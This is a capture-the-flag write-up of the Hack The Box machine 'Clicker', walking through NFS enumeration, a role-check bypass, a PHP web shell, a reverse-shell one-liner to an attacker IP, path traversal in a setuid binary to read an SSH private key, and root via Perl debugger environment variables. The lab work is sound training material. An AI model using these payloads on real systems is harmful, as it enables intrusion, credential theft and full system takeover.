Clicker
Box info

Enumeration
Nmap
Let's start with scanning the target using Nmap
:
szczygielka@hacks$ nmap -sVC -p- 10.129.214.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 11:16 EST
Nmap scan report for 10.129.214.66
Host is up (0.039s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 46145/udp mountd
| 100005 1,2,3 53393/tcp6 mountd
| 100005 1,2,3 54223/tcp mountd
| 100005 1,2,3 55722/udp6 mountd
| 100021 1,3,4 33811/tcp6 nlockmgr
| 100021 1,3,4 39313/udp nlockmgr
| 100021 1,3,4 43051/tcp nlockmgr
| 100021 1,3,4 43382/udp6 nlockmgr
| 100024 1 52055/udp status
| 100024 1 53537/tcp6 status
| 100024 1 53598/udp6 status
| 100024 1 53993/tcp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
38127/tcp open mountd 1-3 (RPC #100005)
43051/tcp open nlockmgr 1-4 (RPC #100021)
53993/tcp open status 1 (RPC #100024)
54223/tcp open mountd 1-3 (RPC #100005)
55825/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.65 seconds
The Nmap
output gives us information about many open ports. Let's discuss the content of the most important of them. We can see that port 22 (SSH
) is open. On port 80, there is an Apache
HTTP server with the domain http://clicker.htb/
. On port 111 there is a RPC
, which is a remote procedure calling protocol. RPC allows you to register various services and make them available on different ports.
The HackTricks article indicates that a service on port 111 is a portmapper. Portmapper is utilized for mapping network service ports to RPC program numbers. The NFS
is running on port 2049. Due to the HackTricks article, NFS allows users access files over a network as though these files were located within a local directory.
First, let's add the domain clicker.htb
from port 80 to /etc/hosts
:
10.129.214.66 clicker.htb
Exploring website
Let's start by checking the content of the website http://clicker.htb/
. The website contains a game Clicker
:

The website allows us to register and log in. So let's create a new account:

Next, log in to the created account:

After logging in, we can only play the game or log out:

Analyzing queries in the Burp
leads us to increase our number of clicks and raise our level:


Analysis of the rest of the HTTP requests in the Burp
does not provide any other interesting information at the moment. So we have to keep looking for ways to gain a foothold.
NFS pentesting
The information available on HackTricks indicates that NFS does not have a built-in authentication or authorization mechanism. It also indicates that if NFS
is running with RPC
, we will probably be able to download or view some files, which may lead us to get more information about the target machine.
We can use the Nmap
script called nfs-ls
, to check what directory is shared by NFS
and check its content:
szczygielka@hacks$ sudo nmap --script=nfs-ls -p 111 10.129.214.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 13:04 EST
Nmap scan report for clicker.htb (10.129.214.66)
Host is up (0.038s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /mnt/backups
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 65534 65534 4096 2023-09-05T19:19:10 .
| ?????????? ? ? ? ? ..
| rw-r--r-- 0 0 2284115 2023-09-01T20:27:06 clicker.htb_backup.zip
|_
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Nmap returned one available directory /mnt/backups
. We can mount this directory in our system via the following command:
sudo mount -t nfs 10.129.214.66:/mnt/backups /mnt -o nolock
The -o nolock
option in the command disables file locking, which is enabled by default. This setting is sometimes required when connecting to older NFS
servers. Now we can check what it gives us.
Let's copy the file clicker.htb_backup.zip
to our directory and unzip it:
szczygielka@hacks$ cp clicker.htb_backup.zip /home/szczygielka/Documents/
szczygielka@hacks$ unzip clicker.htb_backup.zip
Archive: clicker.htb_backup.zip
creating: clicker.htb/
inflating: clicker.htb/play.php
inflating: clicker.htb/profile.php
inflating: clicker.htb/authenticate.php
inflating: clicker.htb/create_player.php
inflating: clicker.htb/logout.php
<SNIP>
List the content of the clicker.htb
directory:
szczygielka@hacks$ ls -la
total 72
drwxr-xr-x 4 szczygielka szczygielka 4096 Sep 1 16:21 .
drwxr-xr-x 3 szczygielka szczygielka 4096 Feb 24 13:15 ..
-rw-rw-r-- 1 szczygielka szczygielka 3934 Sep 1 16:18 admin.php
drwxr-xr-x 4 szczygielka szczygielka 4096 Feb 28 2023 assets
-rw-rw-r-- 1 szczygielka szczygielka 608 Sep 1 16:17 authenticate.php
-rw-rw-r-- 1 szczygielka szczygielka 541 Sep 1 16:17 create_player.php
-rw-rw-r-- 1 szczygielka szczygielka 2536 Sep 1 16:18 db_utils.php
-rw-r--r-- 1 szczygielka szczygielka 1376 Sep 1 16:18 diagnostic.php
-rw-rw-r-- 1 szczygielka szczygielka 1977 Sep 1 16:18 export.php
drwxr-xr-x 2 szczygielka szczygielka 4096 Sep 1 16:18 exports
-rw-rw-r-- 1 szczygielka szczygielka 3887 Sep 1 16:18 index.php
-rw-rw-r-- 1 szczygielka szczygielka 3423 Sep 1 16:18 info.php
-rw-rw-r-- 1 szczygielka szczygielka 3301 Sep 1 16:18 login.php
-rw-rw-r-- 1 szczygielka szczygielka 74 Sep 1 16:17 logout.php
-rw-rw-r-- 1 szczygielka szczygielka 3341 Sep 1 16:17 play.php
-rw-rw-r-- 1 szczygielka szczygielka 3070 Sep 1 16:17 profile.php
-rw-rw-r-- 1 szczygielka szczygielka 3333 Sep 1 16:18 register.php
-rw-rw-r-- 1 szczygielka szczygielka 563 Sep 1 16:18 save_game.php
The content of the extracted clicker.htb
directory contains PHP source code for the Clicker
website. One of the more interesting files is admin.php
. At the beginning of the file, it is checked whether the user role is Admin
:
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
?>
So let's look for the possibility of assigning a role to an ordinary user. In the save_game.php
file, which saves the game state, we can see that there is a check whether one of the parameters sent in the GET
query is role
:
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
This check is probably intended to protect against modification of the role
sent as a GET
query parameter. If we managed to bypass this limitation, we should be able to assign ourselves the Admin
role and gain access to the administrator panel, i.e. admin.php
.
Getting Admin on the website
Let's capture a GET
query containing the current game state using the Burp
and let's try to bypass the restrictions on the role
parameter. We can try to bypass it using CRLF injection.
Let's send one of the following payloads:
CR (%0d):
/save_game.php?clicks=200000&level=10000&role%0d=Admin
or LF (%0a):
/save_game.php?clicks=200000&level=10000&role%0a=Admin
or sending %0d%0a at once
It causes that game was saved correctly:

This machine is therefore vulnerable to CRLF Injection. Now after logging in again, we are user with Admin
role and we gain access to the administration panel:

In Administration Panel
we get information about Top players
and we can export them to txt
, json
or html
format:

After clicking the Export
button, a POST
query is sent with two parameters threshold
and extension
:

Additionally, the website does not seem to check the value of extension
parameter provided in the query, so we can set it to any value, for example php
:

After exporting the data to the txt
format, we receive the path to which the data was saved:

Let's save the top players in the txt
format. After going to the file preview, we can see that in addition to the 4 best users, the first line contains information about our current user:

Let's look at the export.php
code. On line 47 we can see that the username of the current user, which is displayed in the exported file, is stored by the nickname
:

We know that we can change the format of the exported data to any format. If we change the file format to PHP and overwrite the nickname
in a certain way, we should get a web shell.
Webshell as www-data
We already know that we can add additional parameters when sending a POST
query to the save_game.php
, so we will try to modify the nickname
with this query. As a payload, we will use the following PHP web shell code:
<?php system($_GET['cmd']);?>
This payload should allow us to send commands in the cmd
parameter of the GET
query:
/save_game.php?clicks=200000&level=10000&nickname=<?php+system($_GET['cmd']);?>
Let's send the request via Burp
:

Then send a query that will allow us to generate a PHP file:

Now, we can use the generated file by setting the cmd
parameter to id
:

Reverse shell
We have remote code execution. We can now try to get a reverse shell. Let's prepare the listener:
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
We will use PHP exec
payload from this page:
php -r '$sock=fsockopen("10.10.14.73",443);exec("sh <&3 >&3 2>&3");'
Sending the prepared payload as the value of the cmd
parameter gives a reverse shell:
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.114] 57440
Let's upgrade the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
We got a reverse shell as www-data
user:
www-data@clicker:/var/www/clicker.htb/exports$ whoami
www-data
In /opt/manage
directory we find 2 files belonging to the user jack
:
www-data@clicker:/opt/manage$ ls -la
ls -la
total 28
drwxr-xr-x 2 jack jack 4096 Jul 21 2023 .
drwxr-xr-x 3 root root 4096 Jul 20 2023 ..
-rw-rw-r-- 1 jack jack 256 Jul 21 2023 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 execute_query
Let's print the file README.txt
:
www-data@clicker:/opt/manage$ cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
The execute_query
file turns out to be a shared library:
www-data@clicker:/opt/manage$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
Let's download this library to our attacking machine. To download the file on the target machine let's start the Python HTTP server:
www-data@clicker:/opt/manage$ python3 -m http.server 8080
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
and then download it:
szczygielka@hacks$ wget 10.129.214.66:8080/execute_query
--2024-02-24 18:09:42-- http://10.129.214.66:8080/execute_query
Connecting to 10.129.214.66:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16368 (16K) [application/octet-stream]
Saving to: ‘execute_query’
execute_query 100%[========================================================================================================================================>] 15.98K --.-KB/s in 0.04s
2024-02-24 18:09:43 (430 KB/s) - ‘execute_query’ saved [16368/16368]
Now let's decompile the execute_query
code.

The content of the main function shows that if a value other than an integer from 0 to 4 is given as an argument, the following line should be executed:
strncpy(dest, argv[2], 0x14uLL);
In this line, the third element from the argv
table is copied to dest
. The first element of the argv
array is the program name, and its next elements are the arguments of the call. The value of the dest
variable is set as the given argument of the execute_query
and then in the next line the following path is added to this variable:
/home/jack/queries/
If the file path is correct and readable, the system command running mysql is executed with the path obtained from concatenating the path /home/jack/queries/
with the string given in the argument of execute_query
application:
/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < /home/jack/queries/<given string in argument>
Everything indicates that it may be possible to read files located in the /home/jack/queries/
directory. However, we can add "../"
and try to read other files that are inaccessible to us. Because port 22 is open, we want to check whether there is an SSH key in the home directory of the user jack
. By default, the key should be located at the following path:
~/.ssh/id_rsa
In this case, SSH
private key directory should be located in the following location:
/home/jack/queries/.ssh/id_rsa
Executing the following command returned the contents of the id_rsa
file:
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
<SNIP>
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---
--------------
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
Let's save this SSH private key as id_rsa
file on the attacking machine, Due to the fact the private key format was not returned correctly, we need to modify its beginning and end. Let's generate a key pair to see what the correct OpenSSH key format should look like:
szczygielka@hacks$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/szczygielka/.ssh/id_ed25519): ./ssh_test_key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./ssh_test_key
Your public key has been saved in ./ssh_test_key.pub
The key fingerprint is:
SHA256:KZOcOvJodNb1kTS6PiUr9TJYrliVu0b0/No1+1NRcmA szczygielka@hacks
The key's randomart image is:
<SNIP>
Change deformed lines in id_rsa
to the same as in the generated ssh_test_key
private key.
Let's try to log in to SSH as jack
using private key id_rsa
:
szczygielka@hacks$ ssh -i id_rsa jack@10.129.212.114
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Feb 25 01:43:22 AM UTC 2024
System load: 0.3203125
Usage of /: 53.3% of 5.77GB
Memory usage: 16%
Swap usage: 0%
Processes: 260
Users logged in: 0
IPv4 address for eth0: 10.129.212.114
IPv6 address for eth0: dead:beef::250:56ff:fe96:f957
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jack@clicker:~$
We have successfully logged in as jack
.
User flag
We can obtain a user flag from /home/jack/user.txt
.
Privilege escalation
Let's check if jack
can run commands with sudo
privileges:
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
It turns out that jack
can run the /opt/monitor.sh
script with sudo
privileges without a password. So let's check the contents of the monitor.sh
script:
jack@clicker:~$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
At the beginning of the script, a check is made whether the EUID
value is other than 0, then the user is asked to run the script as root. EUID
(Effective UID) is the user ID the process is executing. Then the PATH
variable is set and the PERL5LIB
and PERLLIB
variables are unset. Then, a the GET
request is made using curl
to the Clicker
application, more precisely to its page /diagnostic.php
. This page returns data that is stored in the data variable and then calls /usr/bin/xml_pp
with this data. Then, if the NOSAVE
variable is set to a value other than true
, echo
is used to write the data to the XML file.
Let's check what /usr/bin/xml_pp
is:
jack@clicker:~$ file /usr/bin/xml_pp
/usr/bin/xml_pp: Perl script text executable
Let's look for more information about the possibility of using Perl for privilege escalation.
CVE-2016-1531
From the article we learn that it is possible to use specific Perl environment variables, as well as environment variables of other scripting languages to execute arbitrary code. For this purpose, certain environment variables must be set in a specific way. The article cites an example of a vulnerability known as perl_startup, classified as CVE-2016-1531. An exploit for this vulnerability indicates the possibility of using variables PERL5LIB
and PERL5OPT
to code execution. The cited article also indicates the possibility of using the PERL5DB
environment variable for the same purpose:
PERL5OPT=-d PERL5DB=system("sh");exit;
From the Perl environment variables documentation, it appears that the PERL5OPT
variable is used to specify the default command line switches for Perl. This variable therefore gives you the ability to influence Perl's behavior by setting command line options. Setting the PERL5OPT
variable to -d
indicates a program execution under a debugger. From the Perl help command:
-d[:debugger] run program under debugger
According to the information from the Ubuntu website, the PERL5DB
variable contains the code that runs the Perl debugger. This variable can be changed to set a different debugger or any code, that will be executed.
Exploitation
We can't use PERL5LIB
and PERLLIB
, due to the fact they are unset in /opt/monitor.sh
script, so we will try to use PERL5OPT
and PERL5DB
variables.
Indirectly calling the /usr/bin/xml_pp
script by calling the /opt/monitor.sh
script with sudo
permissions should allow us to add the SUID attribute to the /bin/bash
file via Perl environment variables, which should result in the ability to elevate privileges.
Let's prepare PERL5OPT
and PERL5DB
variables:
PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"'
Now let's execute the /opt/monitor.sh
script with sudo
permissions, providing the prepared variables in Perl:
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
Statement unlikely to be reached at /usr/bin/xml_pp line 9.
(Maybe you meant system() when you said exec()?)
Then let's run the bash
shell in privileged mode and let's check who we are with the whoami
command:
jack@clicker:~$ bash -p
bash-5.1# whoami
root
bash-5.1#
We get shell as root
user.
Root flag
The previous steps lead us to the root
user. The root flag can be obtained from /root/root.txt
.
Last updated